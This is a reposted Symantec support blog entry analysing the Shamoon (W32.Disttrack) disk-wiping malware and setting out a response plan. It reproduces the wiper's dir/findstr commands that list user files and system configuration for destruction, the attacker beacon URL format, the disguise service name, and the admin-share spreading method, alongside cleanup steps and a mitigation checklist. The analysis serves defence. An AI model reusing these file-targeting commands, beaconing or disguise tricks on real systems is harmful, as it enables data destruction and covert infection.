Quantcast
Channel: Symantec Connect - ブログエントリ
Viewing all articles
Browse latest Browse all 5094

Support Perspective and Battle Plan - W32.Disttrack / W32.Disttrack.B (Shamoon) 2017

$
0
0
one of these days Alice, bang! zoom! straight to SHAMOON!

Written by Danny Williams

I. BACKGROUND:

Symantec is currently investigating reports of another new attack in the Middle East involving the destructive disk-wiping malware used by the Shamoon group (W32.DisttrackW32.Disttrack.B). Similar to previous attacks, the Disttrack malware used by Shamoon is just the destructive payload. It requires other means to be deployed on targeted organizations’ networks and is configured with previously stolen credentials. 

Symantec discovered the Greenbug cyberespionage group during its investigation into previous attacks involving W32.Disttrack.B (aka Shamoon). Shamoon (W32.Disttrack) first made headlines in 2012 when it was used in attacks against energy companies in Saudi Arabia. It recently resurfaced in November 2016 (W32.Disttrack.B), again attacking targets in Saudi Arabia. While these attacks were covered extensively in the media, how the attackers stole these credentials and introduced W32.Disttrack on targeted organizations’ networks remains a mystery.

Could Greenbug be responsible for getting Shamoon those stolen credentials?

Greenbug was discovered targeting a range of organizations in the Middle East including companies in the aviation, energy, government, investment, and education sectors. The group uses a custom information-stealing remote access Trojan (RAT) known as Trojan.Ismdoor as well as a selection of hacking tools to steal sensitive credentials from compromised organizations.

Although there is no definitive link between Greenbug and Shamoon, the group compromised at least one administrator computer within a Shamoon-targeted organization’s network prior to W32.Disttrack.B being deployed on November 17, 2016.

II. THREAT DETAILS:

The worm creates the following files:

  • %System%\trksrv.exe
  • %System%\netinit.exe
  • %System%\drivers\drdisk.sys
  • %System%\[NAME SELECTED FROM LIST].exe
    (see below for currently known list)

The worm deletes the following file:

  • %System%\drivers\drdisk.sys

The worm is comprised of several components:

  • Dropper: main component that drops other modules and is the first to infect the system
  • Wiper: module that contains destructive functionality
  • Reporter: module that reports infection information back to the attacker

The Dropper

The Dropper component has the following functionality:

  • Copies itself to %System%\trksrv.exe
  • Drops the following files embedded into resources:
    • 64-bit Dropper: %System%\trksrv.exe (contained in the “X509” resource)
    • Reporter module: %System%\netinit.exe (contained in the "PKCS7" resource)
    • Wiper module: %System%\[NAME SELECTED FROM LIST].exe (contained in the "PKCS12" resource)
      • Note: [NAME SELECTED FROM LIST] may be one of the following:
        • caclsrv
        • certutl
        • clean
        • ctrl
        • dfrag
        • dnslookup
        • dvdquery
        • event
        • extra ct
        • findfile
        • fsutl
        • gpget
        • iissrv
        • ipsecure
        • msinit
        • ntx
        • ntdsutl
        • ntfrsu til
        • ntnw
        • power
        • rdsadmin
        • regsys
        • routeman
        • rrasrv
        • sacses
        • sfmsc
        • sigver
        • smbinit
        • wcscript
    • Copies itself to the following network shares:
      • \\[COMPUTER NAME]\ADMIN$
      • \\[COMPUTER NAME]\C$\\WINDOWS
      • \\[COMPUTER NAME]\D$\\WINDOWS
      • \\[COMPUTER NAME]\E$\\WINDOWS
    • Creates a job task to execute itself
    • Creates the following service to start itself when Windows starts:
      • Service: TrkSvr
      • DisplayName: Distributed Link Tracking Server
      • ImagePath: %System%\trksvr.exe

The Wiper

The Wiper module has the following functionality:

  • Deletes the existing driver from the following location and writes a different legitimate driver embedded in resources:
    • %System%\drivers\drdisk.sys
  • The device driver is a clean disk driver that enables user-land applications to read and write to disk sectors. The driver is used to overwrite the computer's MBR but is not malicious by itself.
  • The file is digitally signed by “EldoS Corporation".
  • Executes the following commands that collect file names, which will be overwritten and writes them to f1.inf and f2.inf:
    • dir "C:\Documents and Settings\" /s /b /a:-D 2>nul | findstr -i download 2>nul >f1.inf
    • dir "C:\Documents and Settings\" /s /b /a:-D 2>nul | findstr -i document 2>nul >>f1.inf
    • dir C:\Users\ /s /b /a:-D 2>nul | findstr -i download 2>nul >>f1.inf
    • dir C:\Users\ /s /b /a:-D 2>nul | findstr -i document 2>nul >>f1.inf
    • dir C:\Users\ /s /b /a:-D 2>nul | findstr -i picture 2>nul >>f1.inf
    • dir C:\Users\ /s /b /a:-D 2>nul | findstr -i video 2>nul >>f1.inf
    • dir C:\Users\ /s /b /a:-D 2>nul | findstr -i music 2>nul >>f1.inf
    • dir "C:\Documents and Settings\" /s /b /a:-D 2>nul | findstr -i desktop 2>nul >f2.inf
    • dir C:\Users\ /s /b /a:-D 2>nul | findstr -i desktop 2>nul >>f2.inf
    • dir C:\Windows\System32\Drivers /s /b /a:-D 2>nul >>f2.inf
    • dir C:\Windows\System32\Config /s /b /a:-D 2>nul | findstr -v -i systemprofile 2>nul >>f2.inf
  • Note: Files from f1.inf and f2.inf will be overwritten with a JPEG image that is located in the Wiper module. Overwritten files are rendered useless and cannot be repaired.
  • The module will overwrite the MBR so that the compromised computer can no longer boot.

The Reporter

The Reporter module is responsible for sending information about the infection to the attacker. Information is sent as an HTTP GET request and is structured as:

  • http://[DOMAIN]/ajax_modal/modal/data.asp?mydata=[MYDATA]&uid=[UID]&state=[STATE]

The following data is sent to the attacker:

  • [DOMAIN] = domain name
  • [MYDATA] = specifies how many files were overwritten
  • [UID] = IP address of the compromised computer
  • [STATE] = random number

How it spreads:

When the worm is executed, it copies itself to the following network shares:

  • \\[COMPUTER NAME]\ADMIN$
  • \\[COMPUTER NAME]\C$\\WINDOWS
  • \\[COMPUTER NAME]\D$\\WINDOWS
  • \\[COMPUTER NAME]\E$\\WINDOWS

Coverage:

Symantec Endpoint Protection:
Antivirus Signatures:

Intrusion Prevention Signatures:

Applying the 5 Steps of Virus Troubleshooting to a W32.Disttrack (Shamoon) Outbreak 
AKA 
The Shamoon Battle Plan

Step 1. Identify the threat

  • This means getting AV detection on any new (undetected) samples.

Step 2. Identify infected machines:

  • Machines with Auto-Protect alerts should be scanned with up-to-date definitions.
  • The entire network needs to be audited for unprotected machines, out of date machines, and infected or likely infected machines.
  • Traffic to known Shamoon domains is a good indicator of a potentially infected machine.
  • Protecting and managing fileservers is often the key to solving any outbreak scenario. - Unprotected NAS devices are at risk!

Step 3. Quarantine the infected/unprotected/under protected machines: 

  • Unprotected and under-protected machines need to be removed from the network until cleaned and protected.
  • Unprotected machines should be returned to the network only after being protected, checked for suspect files, and scanned clean.

Step 4. Clean the infected machines:

  • Infected machines need to be scanned clean. Safe Mode is not necessary, just a basic Full System Scan.
  • Don’t forget file servers. This bears repeating.
  • Watch scan logs closely for indications of “Reboot required” or results that indicate a potential issue like “Quarantine failed”

Step 5. Prevent future outbreaks:

  • AutoPlay is a spreading mechanism for thousands of worms and should be disabled. Microsoft has moved to this position as well.
  • An “Open Share” is any share that does not require a password to access. Password-restricting shares can slow or stop a worm like this in their tracks.
  • Remove write-access on shares from users not needing this level of access.
  • Maintain a strict patching regimen. Threats often add new capabilities in response to new vulnerabilities.
  • Once clean, upgrade to the newest version of SEP (Recommended: with all technologies installed).
  • Review mail server policies.

III. Questions and Answers

Q - How does this spread, once in the network?
A - Open administrator shares. Closing these shares, removing infected machines from the network, or dropping infected machines to a quarantined subnet will keep this from spreading. Enabling Network AutoProtect will also help.

Q - How did this get into my network?
A – There are preliminary indications that Greenbug could be responsible for delivering Shamoon.  The presence of Greenbug within an organization prior to the destructive attack involving W32.Disttrack.B provides only a tentative connection to Shamoon. Greenbug’s choice of targets and the fact that Ismdoor and associated tools downloaded by the threat appear to have gone quiet a day prior to the November 17, 2016 Shamoon attack is, however, suspicious. At this time, Symantec tracks these groups separately unless additional corroborating evidence emerges.  

Q - Will patching vulnerabilities help me stop this threat in my network?
A - No, vulnerabilities can be a door and the threat has already come in. These vulnerabilities should be patched ASAP (along with any other holes in the environment), but this will not counter an already-live infection.

Q - Are there URLs and Domains I should be blocking at the firewall?
A - Yes.  See Section II (The Reporter)

Q - What about Autorun?
A – The Shamoon variants observed haven’t been using this, however autoplay should be disabled either with a GPO or ADC policy, just in case.

V. W32.DISTTRACK (SHAMOON) MITIGATION POSTURE

Note: This is not necessarily a checklist of everything you must do, but a way to understand where your environment may need to be scrutinized.

  • Autorun / AutoPlay Disabled?
  • Open File Shares Closed/Password Protected? Strong Passwords?
  • All Unprotected machines removed from the network and queued for updates/cleaning/protection?
  • Associated URLs blocked at the Perimeter Firewall / Client Firewall?
  • SEP AutoProtect set to load at System Startup?
  • SEP Network AutoProtect enabled?
  • Application and Device Control policy implemented?

VI. REFERENCES:

その他の投稿者: 

Viewing all articles
Browse latest Browse all 5094

Trending Articles



<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>